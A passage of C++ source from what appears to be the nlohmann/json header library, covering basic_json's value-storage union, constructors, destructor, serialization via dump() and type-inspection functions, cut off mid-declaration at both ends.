basic_json,\n        default_object_comparator_t,\n        AllocatorType<std::pair<const StringType,\n        basic_json>>>;\n\n    /// @brief a type for an array\n    /// @sa https://json.nlohmann.me/api/basic_json/array_t/\n    using array_t = ArrayType<basic_json, AllocatorType<basic_json>>;\n\n    /// @brief a type for a string\n    /// @sa https://json.nlohmann.me/api/basic_json/string_t/\n    using string_t = StringType;\n\n    /// @brief a type for a boolean\n    /// @sa https://json.nlohmann.me/api/basic_json/boolean_t/\n    using boolean_t = BooleanType;\n\n    /// @brief a type for a number (integer)\n    /// @sa https://json.nlohmann.me/api/basic_json/number_integer_t/\n    using number_integer_t = NumberIntegerType;\n\n    /// @brief a type for a number (unsigned)\n    /// @sa https://json.nlohmann.me/api/basic_json/number_unsigned_t/\n    using number_unsigned_t = NumberUnsignedType;\n\n    /// @brief a type for a number (floating-point)\n    /// @sa https://json.nlohmann.me/api/basic_json/number_float_t/\n    using number_float_t = NumberFloatType;\n\n    /// @brief a type for a packed binary type\n    /// @sa https://json.nlohmann.me/api/basic_json/binary_t/\n    using binary_t = nlohmann::byte_container_with_subtype<BinaryType>;\n\n    /// @brief object key comparator type\n    /// @sa https://json.nlohmann.me/api/basic_json/object_comparator_t/\n    using object_comparator_t = detail::actual_object_comparator_t<basic_json>;\n\n    /// @}\n\nprivate:\n\n    /// helper for exception-safe object creation\n    template<typename T, typename... Args>\n    JSON_HEDLEY_RETURNS_NON_NULL\n        static T* create(Args&& ... args)\n    {\n        AllocatorType<T> alloc;\n        using AllocatorTraits = std::allocator_traits<AllocatorType<T>>;\n\n        auto deleter = [&](T* obj)\n            {\n                AllocatorTraits::deallocate(alloc, obj, 1);\n            };\n        std::unique_ptr<T, decltype(deleter)> obj(AllocatorTraits::allocate(alloc, 1), deleter);\n        AllocatorTraits::construct(alloc, obj.get(), std::forward<Args>(args)...);\n        JSON_ASSERT(obj != nullptr);\n        return obj.release();\n    }\n\n    ////////////////////////\n    // JSON value storage //\n    ////////////////////////\n\nJSON_PRIVATE_UNLESS_TESTED:\n    /*!\n    @brief a JSON value\n\n    The actual storage for a JSON value of the @ref basic_json class. This\n    union combines the different storage types for the JSON value types\n    defined in @ref value_t.\n\n    JSON type | value_t type    | used type\n    --------- | --------------- | ------------------------\n    object    | object          | pointer to @ref object_t\n    array     | array           | pointer to @ref array_t\n    string    | string          | pointer to @ref string_t\n    boolean   | boolean         | @ref boolean_t\n    number    | number_integer  | @ref number_integer_t\n    number    | number_unsigned | @ref number_unsigned_t\n    number    | number_float    | @ref number_float_t\n    binary    | binary          | pointer to @ref binary_t\n    null      | null            | *no value is stored*\n\n    @note Variable-length types (objects, arrays, and strings) are stored as\n    pointers. The size of the union should not exceed 64 bits if the default\n    value types are used.\n\n    @since version 1.0.0\n    */\n    union json_value\n    {\n        /// object (stored with pointer to save storage)\n        object_t* object;\n        /// array (stored with pointer to save storage)\n        array_t* array;\n        /// string (stored with pointer to save storage)\n        string_t* string;\n        /// binary (stored with pointer to save storage)\n        binary_t* binary;\n        /// boolean\n        boolean_t boolean;\n        /// number (integer)\n        number_integer_t number_integer;\n        /// number (unsigned integer)\n        number_unsigned_t number_unsigned;\n        /// number (floating-point)\n        number_float_t number_float;\n\n        /// default constructor (for null values)\n        json_value() = default;\n        /// constructor for booleans\n        json_value(boolean_t v) noexcept : boolean(v) {}\n        /// constructor for numbers (integer)\n        json_value(number_integer_t v) noexcept : number_integer(v) {}\n        /// constructor for numbers (unsigned)\n        json_value(number_unsigned_t v) noexcept : number_unsigned(v) {}\n        /// constructor for numbers (floating-point)\n        json_value(number_float_t v) noexcept : number_float(v) {}\n        /// constructor for empty values of a given type\n        json_value(value_t t)\n        {\n            switch (t)\n            {\n            case value_t::object:\n            {\n                object = create<object_t>();\n                break;\n            }\n\n            case value_t::array:\n            {\n                array = create<array_t>();\n                break;\n            }\n\n            case value_t::string:\n            {\n                string = create<string_t>(\"\");\n                break;\n            }\n\n            case value_t::binary:\n            {\n                binary = create<binary_t>();\n                break;\n            }\n\n            case value_t::boolean:\n            {\n                boolean = static_cast<boolean_t>(false);\n                break;\n            }\n\n            case value_t::number_integer:\n            {\n                number_integer = static_cast<number_integer_t>(0);\n                break;\n            }\n\n            case value_t::number_unsigned:\n            {\n                number_unsigned = static_cast<number_unsigned_t>(0);\n                break;\n            }\n\n            case value_t::number_float:\n            {\n                number_float = static_cast<number_float_t>(0.0);\n                break;\n            }\n\n            case value_t::null:\n            {\n                object = nullptr;  // silence warning, see #821\n                break;\n            }\n\n            case value_t::discarded:\n            default:\n            {\n                object = nullptr;  // silence warning, see #821\n                if (JSON_HEDLEY_UNLIKELY(t == value_t::null))\n                {\n                    JSON_THROW(other_error::create(500, \"961c151d2e87f2686a955a9be24d316f1362bf21 3.11.3\", nullptr)); // LCOV_EXCL_LINE\n                }\n                break;\n            }\n            }\n        }\n\n        /// constructor for strings\n        json_value(const string_t& value) : string(create<string_t>(value)) {}\n\n        /// constructor for rvalue strings\n        json_value(string_t&& value) : string(create<string_t>(std::move(value))) {}\n\n        /// constructor for objects\n        json_value(const object_t& value) : object(create<object_t>(value)) {}\n\n        /// constructor for rvalue objects\n        json_value(object_t&& value) : object(create<object_t>(std::move(value))) {}\n\n        /// constructor for arrays\n        json_value(const array_t& value) : array(create<array_t>(value)) {}\n\n        /// constructor for rvalue arrays\n        json_value(array_t&& value) : array(create<array_t>(std::move(value))) {}\n\n        /// constructor for binary arrays\n        json_value(const typename binary_t::container_type& value) : binary(create<binary_t>(value)) {}\n\n        /// constructor for rvalue binary arrays\n        json_value(typename binary_t::container_type&& value) : binary(create<binary_t>(std::move(value))) {}\n\n        /// constructor for binary arrays (internal type)\n        json_value(const binary_t& value) : binary(create<binary_t>(value)) {}\n\n        /// constructor for rvalue binary arrays (internal type)\n        json_value(binary_t&& value) : binary(create<binary_t>(std::move(value))) {}\n\n        void destroy(value_t t)\n        {\n            if (\n                (t == value_t::object && object == nullptr) ||\n                (t == value_t::array && array == nullptr) ||\n                (t == value_t::string && string == nullptr) ||\n                (t == value_t::binary && binary == nullptr)\n                )\n            {\n                //not initialized (e.g. due to exception in the ctor)\n                return;\n            }\n            if (t == value_t::array || t == value_t::object)\n            {\n                // flatten the current json_value to a heap-allocated stack\n                std::vector<basic_json> stack;\n\n                // move the top-level items to stack\n                if (t == value_t::array)\n                {\n                    stack.reserve(array->size());\n                    std::move(array->begin(), array->end(), std::back_inserter(stack));\n                }\n                else\n                {\n                    stack.reserve(object->size());\n                    for (auto&& it : *object)\n                    {\n                        stack.push_back(std::move(it.second));\n                    }\n                }\n\n                while (!stack.empty())\n                {\n                    // move the last item to local variable to be processed\n                    basic_json current_item(std::move(stack.back()));\n                    stack.pop_back();\n\n                    // if current_item is array/object, move\n                    // its children to the stack to be processed later\n                    if (current_item.is_array())\n                    {\n                        std::move(current_item.m_data.m_value.array->begin(), current_item.m_data.m_value.array->end(), std::back_inserter(stack));\n\n                        current_item.m_data.m_value.array->clear();\n                    }\n                    else if (current_item.is_object())\n                    {\n                        for (auto&& it : *current_item.m_data.m_value.object)\n                        {\n                            stack.push_back(std::move(it.second));\n                        }\n\n                        current_item.m_data.m_value.object->clear();\n                    }\n\n                    // it's now safe that current_item get destructed\n                    // since it doesn't have any children\n                }\n            }\n\n            switch (t)\n            {\n            case value_t::object:\n            {\n                AllocatorType<object_t> alloc;\n                std::allocator_traits<decltype(alloc)>::destroy(alloc, object);\n                std::allocator_traits<decltype(alloc)>::deallocate(alloc, object, 1);\n                break;\n            }\n\n            case value_t::array:\n            {\n                AllocatorType<array_t> alloc;\n                std::allocator_traits<decltype(alloc)>::destroy(alloc, array);\n                std::allocator_traits<decltype(alloc)>::deallocate(alloc, array, 1);\n                break;\n            }\n\n            case value_t::string:\n            {\n                AllocatorType<string_t> alloc;\n                std::allocator_traits<decltype(alloc)>::destroy(alloc, string);\n                std::allocator_traits<decltype(alloc)>::deallocate(alloc, string, 1);\n                break;\n            }\n\n            case value_t::binary:\n            {\n                AllocatorType<binary_t> alloc;\n                std::allocator_traits<decltype(alloc)>::destroy(alloc, binary);\n                std::allocator_traits<decltype(alloc)>::deallocate(alloc, binary, 1);\n                break;\n            }\n\n            case value_t::null:\n            case value_t::boolean:\n            case value_t::number_integer:\n            case value_t::number_unsigned:\n            case value_t::number_float:\n            case value_t::discarded:\n            default:\n            {\n                break;\n            }\n            }\n        }\n    };\n\nprivate:\n    /*!\n    @brief checks the class invariants\n\n    This function asserts the class invariants. It needs to be called at the\n    end of every constructor to make sure that created objects respect the\n    invariant. Furthermore, it has to be called each time the type of a JSON\n    value is changed, because the invariant expresses a relationship between\n    @a m_type and @a m_value.\n\n    Furthermore, the parent relation is checked for arrays and objects: If\n    @a check_parents true and the value is an array or object, then the\n    container's elements must have the current value as parent.\n\n    @param[in] check_parents  whether the parent relation should be checked.\n               The value is true by default and should only be set to false\n               during destruction of objects when the invariant does not\n               need to hold.\n    */\n    void assert_invariant(bool check_parents = true) const noexcept\n    {\n        JSON_ASSERT(m_data.m_type != value_t::object || m_data.m_value.object != nullptr);\n        JSON_ASSERT(m_data.m_type != value_t::array || m_data.m_value.array != nullptr);\n        JSON_ASSERT(m_data.m_type != value_t::string || m_data.m_value.string != nullptr);\n        JSON_ASSERT(m_data.m_type != value_t::binary || m_data.m_value.binary != nullptr);\n\n#if JSON_DIAGNOSTICS\n        JSON_TRY\n        {\n            // cppcheck-suppress assertWithSideEffect\n            JSON_ASSERT(!check_parents || !is_structured() || std::all_of(begin(), end(), [this](const basic_json& j)\n            {\n                return j.m_parent == this;\n            }));\n        }\n            JSON_CATCH(...) {} // LCOV_EXCL_LINE\n#endif\n        static_cast<void>(check_parents);\n    }\n\n    void set_parents()\n    {\n#if JSON_DIAGNOSTICS\n        switch (m_data.m_type)\n        {\n        case value_t::array:\n        {\n            for (auto& element : *m_data.m_value.array)\n            {\n                element.m_parent = this;\n            }\n            break;\n        }\n\n        case value_t::object:\n        {\n            for (auto& element : *m_data.m_value.object)\n            {\n                element.second.m_parent = this;\n            }\n            break;\n        }\n\n        case value_t::null:\n        case value_t::string:\n        case value_t::boolean:\n        case value_t::number_integer:\n        case value_t::number_unsigned:\n        case value_t::number_float:\n        case value_t::binary:\n        case value_t::discarded:\n        default:\n            break;\n        }\n#endif\n    }\n\n    iterator set_parents(iterator it, typename iterator::difference_type count_set_parents)\n    {\n#if JSON_DIAGNOSTICS\n        for (typename iterator::difference_type i = 0; i < count_set_parents; ++i)\n        {\n            (it + i)->m_parent = this;\n        }\n#else\n        static_cast<void>(count_set_parents);\n#endif\n        return it;\n    }\n\n    reference set_parent(reference j, std::size_t old_capacity = static_cast<std::size_t>(-1))\n    {\n#if JSON_DIAGNOSTICS\n        if (old_capacity != static_cast<std::size_t>(-1))\n        {\n            // see https://github.com/nlohmann/json/issues/2838\n            JSON_ASSERT(type() == value_t::array);\n            if (JSON_HEDLEY_UNLIKELY(m_data.m_value.array->capacity() != old_capacity))\n            {\n                // capacity has changed: update all parents\n                set_parents();\n                return j;\n            }\n        }\n\n        // ordered_json uses a vector internally, so pointers could have\n        // been invalidated; see https://github.com/nlohmann/json/issues/2962\n#ifdef JSON_HEDLEY_MSVC_VERSION\n#pragma warning(push )\n#pragma warning(disable : 4127) // ignore warning to replace if with if constexpr\n#endif\n        if (detail::is_ordered_map<object_t>::value)\n        {\n            set_parents();\n            return j;\n        }\n#ifdef JSON_HEDLEY_MSVC_VERSION\n#pragma warning( pop )\n#endif\n\n        j.m_parent = this;\n#else\n        static_cast<void>(j);\n        static_cast<void>(old_capacity);\n#endif\n        return j;\n    }\n\npublic:\n    //////////////////////////\n    // JSON parser callback //\n    //////////////////////////\n\n    /// @brief parser event types\n    /// @sa https://json.nlohmann.me/api/basic_json/parse_event_t/\n    using parse_event_t = detail::parse_event_t;\n\n    /// @brief per-element parser callback type\n    /// @sa https://json.nlohmann.me/api/basic_json/parser_callback_t/\n    using parser_callback_t = detail::parser_callback_t<basic_json>;\n\n    //////////////////\n    // constructors //\n    //////////////////\n\n    /// @name constructors and destructors\n    /// Constructors of class @ref basic_json, copy/move constructor, copy\n    /// assignment, static functions creating objects, and the destructor.\n    /// @{\n\n    /// @brief create an empty value with a given type\n    /// @sa https://json.nlohmann.me/api/basic_json/basic_json/\n    basic_json(const value_t v)\n        : m_data(v)\n    {\n        assert_invariant();\n    }\n\n    /// @brief create a null object\n    /// @sa https://json.nlohmann.me/api/basic_json/basic_json/\n    basic_json(std::nullptr_t = nullptr) noexcept // NOLINT(bugprone-exception-escape)\n        : basic_json(value_t::null)\n    {\n        assert_invariant();\n    }\n\n    /// @brief create a JSON value from compatible types\n    /// @sa https://json.nlohmann.me/api/basic_json/basic_json/\n    template < typename CompatibleType,\n        typename U = detail::uncvref_t<CompatibleType>,\n        detail::enable_if_t <\n        !detail::is_basic_json<U>::value&& detail::is_compatible_type<basic_json_t, U>::value, int > = 0 >\n    basic_json(CompatibleType&& val) noexcept(noexcept( // NOLINT(bugprone-forwarding-reference-overload,bugprone-exception-escape)\n        JSONSerializer<U>::to_json(std::declval<basic_json_t&>(),\n            std::forward<CompatibleType>(val))))\n    {\n        JSONSerializer<U>::to_json(*this, std::forward<CompatibleType>(val));\n        set_parents();\n        assert_invariant();\n    }\n\n    /// @brief create a JSON value from an existing one\n    /// @sa https://json.nlohmann.me/api/basic_json/basic_json/\n    template < typename BasicJsonType,\n        detail::enable_if_t <\n        detail::is_basic_json<BasicJsonType>::value && !std::is_same<basic_json, BasicJsonType>::value, int > = 0 >\n    basic_json(const BasicJsonType& val)\n    {\n        using other_boolean_t = typename BasicJsonType::boolean_t;\n        using other_number_float_t = typename BasicJsonType::number_float_t;\n        using other_number_integer_t = typename BasicJsonType::number_integer_t;\n        using other_number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using other_string_t = typename BasicJsonType::string_t;\n        using other_object_t = typename BasicJsonType::object_t;\n        using other_array_t = typename BasicJsonType::array_t;\n        using other_binary_t = typename BasicJsonType::binary_t;\n\n        switch (val.type())\n        {\n        case value_t::boolean:\n            JSONSerializer<other_boolean_t>::to_json(*this, val.template get<other_boolean_t>());\n            break;\n        case value_t::number_float:\n            JSONSerializer<other_number_float_t>::to_json(*this, val.template get<other_number_float_t>());\n            break;\n        case value_t::number_integer:\n            JSONSerializer<other_number_integer_t>::to_json(*this, val.template get<other_number_integer_t>());\n            break;\n        case value_t::number_unsigned:\n            JSONSerializer<other_number_unsigned_t>::to_json(*this, val.template get<other_number_unsigned_t>());\n            break;\n        case value_t::string:\n            JSONSerializer<other_string_t>::to_json(*this, val.template get_ref<const other_string_t&>());\n            break;\n        case value_t::object:\n            JSONSerializer<other_object_t>::to_json(*this, val.template get_ref<const other_object_t&>());\n            break;\n        case value_t::array:\n            JSONSerializer<other_array_t>::to_json(*this, val.template get_ref<const other_array_t&>());\n            break;\n        case value_t::binary:\n            JSONSerializer<other_binary_t>::to_json(*this, val.template get_ref<const other_binary_t&>());\n            break;\n        case value_t::null:\n            *this = nullptr;\n            break;\n        case value_t::discarded:\n            m_data.m_type = value_t::discarded;\n            break;\n        default:            // LCOV_EXCL_LINE\n            JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n        }\n        JSON_ASSERT(m_data.m_type == val.type());\n        set_parents();\n        assert_invariant();\n    }\n\n    /// @brief create a container (array or object) from an initializer list\n    /// @sa https://json.nlohmann.me/api/basic_json/basic_json/\n    basic_json(initializer_list_t init,\n        bool type_deduction = true,\n        value_t manual_type = value_t::array)\n    {\n        // check if each element is an array with two elements whose first\n        // element is a string\n        bool is_an_object = std::all_of(init.begin(), init.end(),\n            [](const detail::json_ref<basic_json>& element_ref)\n            {\n                // The cast is to ensure op[size_type] is called, bearing in mind size_type may not be int;\n                // (many string types can be constructed from 0 via its null-pointer guise, so we get a\n                // broken call to op[key_type], the wrong semantics and a 4804 warning on Windows)\n                return element_ref->is_array() && element_ref->size() == 2 && (*element_ref)[static_cast<size_type>(0)].is_string();\n            });\n\n        // adjust type if type deduction is not wanted\n        if (!type_deduction)\n        {\n            // if array is wanted, do not create an object though possible\n            if (manual_type == value_t::array)\n            {\n                is_an_object = false;\n            }\n\n            // if object is wanted but impossible, throw an exception\n            if (JSON_HEDLEY_UNLIKELY(manual_type == value_t::object && !is_an_object))\n            {\n                JSON_THROW(type_error::create(301, \"cannot create object from initializer list\", nullptr));\n            }\n        }\n\n        if (is_an_object)\n        {\n            // the initializer list is a list of pairs -> create object\n            m_data.m_type = value_t::object;\n            m_data.m_value = value_t::object;\n\n            for (auto& element_ref : init)\n            {\n                auto element = element_ref.moved_or_copied();\n                m_data.m_value.object->emplace(\n                    std::move(*((*element.m_data.m_value.array)[0].m_data.m_value.string)),\n                    std::move((*element.m_data.m_value.array)[1]));\n            }\n        }\n        else\n        {\n            // the initializer list describes an array -> create array\n            m_data.m_type = value_t::array;\n            m_data.m_value.array = create<array_t>(init.begin(), init.end());\n        }\n\n        set_parents();\n        assert_invariant();\n    }\n\n    /// @brief explicitly create a binary array (without subtype)\n    /// @sa https://json.nlohmann.me/api/basic_json/binary/\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json binary(const typename binary_t::container_type& init)\n    {\n        auto res = basic_json();\n        res.m_data.m_type = value_t::binary;\n        res.m_data.m_value = init;\n        return res;\n    }\n\n    /// @brief explicitly create a binary array (with subtype)\n    /// @sa https://json.nlohmann.me/api/basic_json/binary/\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json binary(const typename binary_t::container_type& init, typename binary_t::subtype_type subtype)\n    {\n        auto res = basic_json();\n        res.m_data.m_type = value_t::binary;\n        res.m_data.m_value = binary_t(init, subtype);\n        return res;\n    }\n\n    /// @brief explicitly create a binary array\n    /// @sa https://json.nlohmann.me/api/basic_json/binary/\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json binary(typename binary_t::container_type&& init)\n    {\n        auto res = basic_json();\n        res.m_data.m_type = value_t::binary;\n        res.m_data.m_value = std::move(init);\n        return res;\n    }\n\n    /// @brief explicitly create a binary array (with subtype)\n    /// @sa https://json.nlohmann.me/api/basic_json/binary/\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json binary(typename binary_t::container_type&& init, typename binary_t::subtype_type subtype)\n    {\n        auto res = basic_json();\n        res.m_data.m_type = value_t::binary;\n        res.m_data.m_value = binary_t(std::move(init), subtype);\n        return res;\n    }\n\n    /// @brief explicitly create an array from an initializer list\n    /// @sa https://json.nlohmann.me/api/basic_json/array/\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json array(initializer_list_t init = {})\n    {\n        return basic_json(init, false, value_t::array);\n    }\n\n    /// @brief explicitly create an object from an initializer list\n    /// @sa https://json.nlohmann.me/api/basic_json/object/\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json object(initializer_list_t init = {})\n    {\n        return basic_json(init, false, value_t::object);\n    }\n\n    /// @brief construct an array with count copies of given value\n    /// @sa https://json.nlohmann.me/api/basic_json/basic_json/\n    basic_json(size_type cnt, const basic_json& val) :\n        m_data{ cnt, val }\n    {\n        set_parents();\n        assert_invariant();\n    }\n\n    /// @brief construct a JSON container given an iterator range\n    /// @sa https://json.nlohmann.me/api/basic_json/basic_json/\n    template < class InputIT, typename std::enable_if <\n        std::is_same<InputIT, typename basic_json_t::iterator>::value ||\n        std::is_same<InputIT, typename basic_json_t::const_iterator>::value, int >::type = 0 >\n    basic_json(InputIT first, InputIT last)\n    {\n        JSON_ASSERT(first.m_object != nullptr);\n        JSON_ASSERT(last.m_object != nullptr);\n\n        // make sure iterator fits the current value\n        if (JSON_HEDLEY_UNLIKELY(first.m_object != last.m_object))\n        {\n            JSON_THROW(invalid_iterator::create(201, \"iterators are not compatible\", nullptr));\n        }\n\n        // copy type from first iterator\n        m_data.m_type = first.m_object->m_data.m_type;\n\n        // check if iterator range is complete for primitive values\n        switch (m_data.m_type)\n        {\n        case value_t::boolean:\n        case value_t::number_float:\n        case value_t::number_integer:\n        case value_t::number_unsigned:\n        case value_t::string:\n        {\n            if (JSON_HEDLEY_UNLIKELY(!first.m_it.primitive_iterator.is_begin()\n                || !last.m_it.primitive_iterator.is_end()))\n            {\n                JSON_THROW(invalid_iterator::create(204, \"iterators out of range\", first.m_object));\n            }\n            break;\n        }\n\n        case value_t::null:\n        case value_t::object:\n        case value_t::array:\n        case value_t::binary:\n        case value_t::discarded:\n        default:\n            break;\n        }\n\n        switch (m_data.m_type)\n        {\n        case value_t::number_integer:\n        {\n            m_data.m_value.number_integer = first.m_object->m_data.m_value.number_integer;\n            break;\n        }\n\n        case value_t::number_unsigned:\n        {\n            m_data.m_value.number_unsigned = first.m_object->m_data.m_value.number_unsigned;\n            break;\n        }\n\n        case value_t::number_float:\n        {\n            m_data.m_value.number_float = first.m_object->m_data.m_value.number_float;\n            break;\n        }\n\n        case value_t::boolean:\n        {\n            m_data.m_value.boolean = first.m_object->m_data.m_value.boolean;\n            break;\n        }\n\n        case value_t::string:\n        {\n            m_data.m_value = *first.m_object->m_data.m_value.string;\n            break;\n        }\n\n        case value_t::object:\n        {\n            m_data.m_value.object = create<object_t>(first.m_it.object_iterator,\n                last.m_it.object_iterator);\n            break;\n        }\n\n        case value_t::array:\n        {\n            m_data.m_value.array = create<array_t>(first.m_it.array_iterator,\n                last.m_it.array_iterator);\n            break;\n        }\n\n        case value_t::binary:\n        {\n            m_data.m_value = *first.m_object->m_data.m_value.binary;\n            break;\n        }\n\n        case value_t::null:\n        case value_t::discarded:\n        default:\n            JSON_THROW(invalid_iterator::create(206, detail::concat(\"cannot construct with iterators from \", first.m_object->type_name()), first.m_object));\n        }\n\n        set_parents();\n        assert_invariant();\n    }\n\n    ///////////////////////////////////////\n    // other constructors and destructor //\n    ///////////////////////////////////////\n\n    template<typename JsonRef,\n        detail::enable_if_t<detail::conjunction<detail::is_json_ref<JsonRef>,\n        std::is_same<typename JsonRef::value_type, basic_json>>::value, int> = 0 >\n        basic_json(const JsonRef& ref) : basic_json(ref.moved_or_copied()) {}\n\n    /// @brief copy constructor\n    /// @sa https://json.nlohmann.me/api/basic_json/basic_json/\n    basic_json(const basic_json& other)\n        : json_base_class_t(other)\n    {\n        m_data.m_type = other.m_data.m_type;\n        // check of passed value is valid\n        other.assert_invariant();\n\n        switch (m_data.m_type)\n        {\n        case value_t::object:\n        {\n            m_data.m_value = *other.m_data.m_value.object;\n            break;\n        }\n\n        case value_t::array:\n        {\n            m_data.m_value = *other.m_data.m_value.array;\n            break;\n        }\n\n        case value_t::string:\n        {\n            m_data.m_value = *other.m_data.m_value.string;\n            break;\n        }\n\n        case value_t::boolean:\n        {\n            m_data.m_value = other.m_data.m_value.boolean;\n            break;\n        }\n\n        case value_t::number_integer:\n        {\n            m_data.m_value = other.m_data.m_value.number_integer;\n            break;\n        }\n\n        case value_t::number_unsigned:\n        {\n            m_data.m_value = other.m_data.m_value.number_unsigned;\n            break;\n        }\n\n        case value_t::number_float:\n        {\n            m_data.m_value = other.m_data.m_value.number_float;\n            break;\n        }\n\n        case value_t::binary:\n        {\n            m_data.m_value = *other.m_data.m_value.binary;\n            break;\n        }\n\n        case value_t::null:\n        case value_t::discarded:\n        default:\n            break;\n        }\n\n        set_parents();\n        assert_invariant();\n    }\n\n    /// @brief move constructor\n    /// @sa https://json.nlohmann.me/api/basic_json/basic_json/\n    basic_json(basic_json&& other) noexcept\n        : json_base_class_t(std::forward<json_base_class_t>(other)),\n        m_data(std::move(other.m_data))\n    {\n        // check that passed value is valid\n        other.assert_invariant(false);\n\n        // invalidate payload\n        other.m_data.m_type = value_t::null;\n        other.m_data.m_value = {};\n\n        set_parents();\n        assert_invariant();\n    }\n\n    /// @brief copy assignment\n    /// @sa https://json.nlohmann.me/api/basic_json/operator=/\n    basic_json& operator=(basic_json other) noexcept (\n        std::is_nothrow_move_constructible<value_t>::value&&\n        std::is_nothrow_move_assignable<value_t>::value&&\n        std::is_nothrow_move_constructible<json_value>::value&&\n        std::is_nothrow_move_assignable<json_value>::value&&\n        std::is_nothrow_move_assignable<json_base_class_t>::value\n        )\n    {\n        // check that passed value is valid\n        other.assert_invariant();\n\n        using std::swap;\n        swap(m_data.m_type, other.m_data.m_type);\n        swap(m_data.m_value, other.m_data.m_value);\n        json_base_class_t::operator=(std::move(other));\n\n        set_parents();\n        assert_invariant();\n        return *this;\n    }\n\n    /// @brief destructor\n    /// @sa https://json.nlohmann.me/api/basic_json/~basic_json/\n    ~basic_json() noexcept\n    {\n        assert_invariant(false);\n    }\n\n    /// @}\n\npublic:\n    ///////////////////////\n    // object inspection //\n    ///////////////////////\n\n    /// @name object inspection\n    /// Functions to inspect the type of a JSON value.\n    /// @{\n\n    /// @brief serialization\n    /// @sa https://json.nlohmann.me/api/basic_json/dump/\n    string_t dump(const int indent = -1,\n        const char indent_char = ' ',\n        const bool ensure_ascii = false,\n        const error_handler_t error_handler = error_handler_t::strict) const\n    {\n        string_t result;\n        serializer s(detail::output_adapter<char, string_t>(result), indent_char, error_handler);\n\n        if (indent >= 0)\n        {\n            s.dump(*this, true, ensure_ascii, static_cast<unsigned int>(indent));\n        }\n        else\n        {\n            s.dump(*this, false, ensure_ascii, 0);\n        }\n\n        return result;\n    }\n\n    /// @brief return the type of the JSON value (explicit)\n    /// @sa https://json.nlohmann.me/api/basic_json/type/\n    constexpr value_t type() const noexcept\n    {\n        return m_data.m_type;\n    }\n\n    /// @brief return whether type is primitive\n    /// @sa https://json.nlohmann.me/api/basic_json/is_primitive/\n    constexpr bool is_primitive() const noexcept\n    {\n        return is_null() || is_string() || is_boolean() || is_number() || is_binary();\n    }\n\n    /// @brief return whether type is structured\n    /// @sa https://json.nlohmann.me/api/basic_json/is_structured/\n    constexpr bool is_structured() const noexcept\n    {\n        return is_array() || is_object();\n    }\n\n    /// @brief return whether value is null\n    /// @sa https://json.nlohmann.me/api/basic_json/is_null/\n    constexpr bool is_null() const noexcept\n    {\n        return m_data.m_type == value_t::null;\n    }\n\n    /// @brief return whether value is a boolean\n    /// @sa https://json.nlohmann.me/api/basic_json/is_boolean/\n    constexpr bool is_boolean() const noexcept\n    {\n        return m_data.m_type == value_t::boolean;\n    }\n\n    /// @brief return whether value is a number\n    /// @sa https://json.nlohmann.me/api/basic_json/is_number/\n    constexpr bool is_number() const noexcept\n    {\n        return is_number_integer() || is_number_float();\n    }\n\n    /// @brief return whether value is an integer number\n    /// @sa https://json.nlohmann.me/api/basic_json/is_number_integer/\n    constexpr bool is_number_integer() const noexcept\n    {\n        return m_data.m_type == value_t::number_integer || m_data.m_type == value_t::number_unsigned;\n    }\n\n    /// @brief return whether value is an unsigned integer number\n    /// @sa https://json.nlohmann.me/api/basic_json/is_number_unsigned/\n    constexpr bool is_number_unsigned() const noexcept\n    {\n        return m_data.m_type == value_t::number_unsigned;\n    }\n\n    /// @brief return whether value is a floating-point number\n    /// @sa https://json.nlohmann.me/api/basic_json/is_number_float/\n    constexpr bool is_number_float() const noexcept\n    {\n        return m_data.m_type == value_t::number_float;\n    }\n\n    /// @brief return whether value is an object\n    /// @sa https://json.nlohmann.me/api/basic_json/is_object/\n    constexpr bool is_object() const noexcept\n    {\n        return m_data.m_type == value_t::object;\n    }\n\n    /// @brief return whether value is an array\n    /// @sa https://json.nlohmann.me/api/basic_json/is_array/\n    constexpr bool is_array() const noexcept\n    {\n        return m_data.m_type == value_t::array;\n    }\n\n    /// @brief return whether value is a string\n    /// @sa https://json.nlohmann.me/api/basic_json/is_string/\n    constexpr bool is_string() const noexcept\n    {\n        return m_data.m_type == value_t::string;\n    }\n\n    /// @brief return whether value is a binary array\n    /// @sa https://json.nlohmann.me/api/basic_json/is_binary/\n    constexpr bool is_binary() const noexcept\n    {\n        return m_data.m_type == value_t::binary;\n    }\n\n    /// @brief return whether value is discarded\n    /// @sa https://json.nlohmann.me/api/basic_json/is_discarded/\n    constexpr bool is_discarded() const noexcept\n    {\n        return m_data.m_type == value_t::discarded;\n    }\n\n    /// @brief return the type of the JSON value (implicit)\n    /// @sa https://json.nlohmann.me/api/basic_json/operator_value_t/\n    constexpr operator value_t() const noexcept\n    {\n        return m_data.m_type;\n    }\n\n    /// @}\n\nprivate:\n    //////////////////\n    // value access //\n    //////////////////\n\n    /// get a boolean (explicit)\n    boolean_t get_impl(boolean_t* /*unused*/) const\n    {\n        if (JSON_HEDLEY_LIKELY(is_boolean()))\n        {\n            return m_data.m_value.boolean;\n        }\n\n        JSON_THROW(type_error::create(302, detail::concat(\"type must be boolean, but is \", type_name()), this));\n    }\n\n    /// get a pointer to the value (object)\n    object_t* get_impl_ptr(object_t* /*unused*/) noexcept\n    {\n        return is_object() ? m_data.m_value.object : nullptr;\n    }\n\n    /// get a pointer to the value (object)\n    constexpr const object_t* get_impl_ptr(const object_t* /*unused*/) const noexcept\n    {\n        return is_object() ? m_data.m_value.object : nullptr;\n    }\n\n    /// get a pointer to the value (array)\n    array_t* get_impl_ptr(array_t* /*unused*/) noexcept\n    {\n        return is_array() ? m_data.m_value.array : nullptr;\n    }\n\n    /// get a pointer to the value (array)\n    constexpr const array_t* get_impl_ptr(const array_t* /*unused*/) const noexcept\n    {\n        return is_array() ? m_data.m_value.array : nullptr;\n    }\n\n    /// get a pointer to the value (string)\n    string_t* get_impl_ptr(string_t* /*unused*/) noexcept\n    {\n        return is_string() ? m_data.m_value.string : nullptr;\n    }\n\n    /// get a pointer to the value (string)\n    constexpr const string_t* get_impl_ptr(const string_t* /*unused*/) const noexcept\n    {\n        return is_string() ? m_data.m_value.string : nullptr;\n    }\n\n    /// get a pointer to the value (boolean)\n    boolean_t* 